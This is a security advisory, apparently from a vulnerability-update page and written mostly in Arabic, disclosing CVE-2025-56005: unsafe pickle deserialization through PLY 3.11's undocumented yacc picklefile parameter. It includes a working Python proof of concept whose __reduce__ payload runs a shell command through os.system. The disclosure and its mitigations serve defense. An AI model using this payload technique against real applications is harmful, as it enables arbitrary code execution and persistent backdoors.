العودة إلى التحديثات
UpdatedSep 2, 2026

Undocumented-RCE-in-PLY — Updated!

RCE غير موثّق في PLY عبر معلمة `picklefile`

مشاركة

تنفيذ تعليمات برمجية عن بُعد غير موثّق في PLY CVE‑2025‑56005

CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

الملخص

تتيح ميزة غير موثّقة وغير آمنة في النسخة الموزّعة عبر PyPI من PLY 3.11 تنفيذ تعليمات برمجية عشوائية عند استدعاء الدالة yacc() مع المعامل picklefile.

يتسبب المعامل picklefile في قيام PLY بإلغاء تسلسل ملف .pkl باستخدام pickle.load() من Python دون التحقق منه. ولأن وحدة pickle في Python تدعم تنفيذ تعليمات برمجية عشوائية أثناء إلغاء التسلسل (على سبيل المثال، عبر __reduce__())، فإن المهاجم الذي يستطيع التحكم في ملف pickle المُقدَّم يمكنه تنفيذ تعليمات برمجية عشوائية أثناء تهيئة المحلّل.

هذا المعامل غير موثّق في وثائق PLY الرسمية أو مستودع GitHub، ومع ذلك فهو فعّال في إصدار PyPI.


التأثير

إذا تمكّن المهاجم من التحكم في ملف .pkl المُمرَّر إلى yacc(picklefile=...) أو استبداله أو التأثير عليه، فيمكنه تحقيق ما يلي:

  • تنفيذ تعليمات برمجية عشوائية
  • التنفيذ أثناء بدء تشغيل التطبيق
  • تنفيذ تعليمات برمجية قبل الوصول إلى أي منطق تحليل

قد يؤثر ذلك على التطبيقات التي تحمّل جداول المحلّل من:

  • مواقع التخزين المؤقت
  • الأدلة المشتركة
  • خطوط أنابيب CI/CD
  • مسارات قابلة للتهيئة أو الكتابة

🔍 تفاصيل الثغرة

  • نوع الثغرة: تنفيذ تعليمات برمجية عشوائية
  • نوع الهجوم: يعتمد على السياق
  • ناقل الهجوم: إلغاء تسلسل غير آمن لملف pickle يتحكم فيه المهاجم
  • التأثير: تنفيذ تعليمات برمجية
  • CWE: CWE‑502 (إلغاء تسلسل البيانات غير الموثوقة)

الوظائف المتأثرة

  • ply.yacc.yacc(picklefile=...)
  • LRTable.read_pickle() في ply/yacc.py

معلومات إضافية (السياق والمخاطر)

تُمثّل هذه الثغرة خطرًا مرتفعًا نظرًا لطبيعتها الخفية وإمكانية استمراريتها.

المعامل picklefile غير موثّق في وثائق PLY الرسمية ومستودع GitHub. ومع ذلك، تتضمن النسخة الموزّعة عبر PyPI من PLY 3.11 هذه الوظيفة وتعالج الملف المُقدَّم باستخدام pickle.load() دون التحقق منه.

ولأن وحدة pickle في Python تسمح بتنفيذ تعليمات برمجية مضمّنة أثناء إلغاء التسلسل، يمكن لملف pickle ضار تنفيذ تعليمات برمجية عشوائية أثناء إعداد المحلّل، قبل استدعاء أي منطق تحليل.

في وقت كتابة هذا التقرير، لم يقرّ القائم على الصيانة علنًا بهذا السلوك.

يمكن استغلال هذه الوظيفة لإدخال أبواب خلفية دائمة، لا سيما في البيئات التي تكون فيها ملفات جداول المحلّل:

  • مخزّنة مؤقتًا على القرص
  • مشتركة بين المستخدمين أو الخدمات
  • مُنشأة أو مُعاد استخدامها في خطوط أنابيب CI/CD
  • محمّلة من مسارات قابلة للتهيئة أو الكتابة

نظرًا لعدم وجود توثيق، ومسار التنفيذ الصامت، والتأثير الكبير لإلغاء التسلسل غير الآمن، فإن تعيين CVE مبرَّر لرفع الوعي وحماية المستخدمين النهائيين.


إثبات المفهوم (PoC)

يوضّح إثبات المفهوم هذا تنفيذ تعليمات برمجية عشوائية عند تقديم ملف pickle ضار عبر المعامل غير الموثّق picklefile.

نظرة عامة على PoC

يقوم PoC بما يلي:

  • تعريف محلّل معجمي ومحلّل نحوي بسيطين
  • إنشاء حمولة pickle ضارة
  • تنفيذ أمر نظام أثناء إلغاء التسلسل

النتيجة المتوقعة

عند استدعاء yacc(picklefile='exploit.pkl')، يتم تنفيذ تعليمات برمجية عشوائية أثناء تهيئة المحلّل.

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

التخفيف

  • لا تستخدم المعامل picklefile مع ملفات غير موثوقة أو قابلة للكتابة من الخارج
  • تجنّب تحميل جداول المحلّل من مواقع يتحكم فيها المستخدم
  • تعامل مع جميع ملفات pickle باعتبارها مدخلات غير آمنة
  • يُفضّل إعادة إنشاء جداول المحلّل بدلًا من تحميلها من القرص

المراجع

الفئات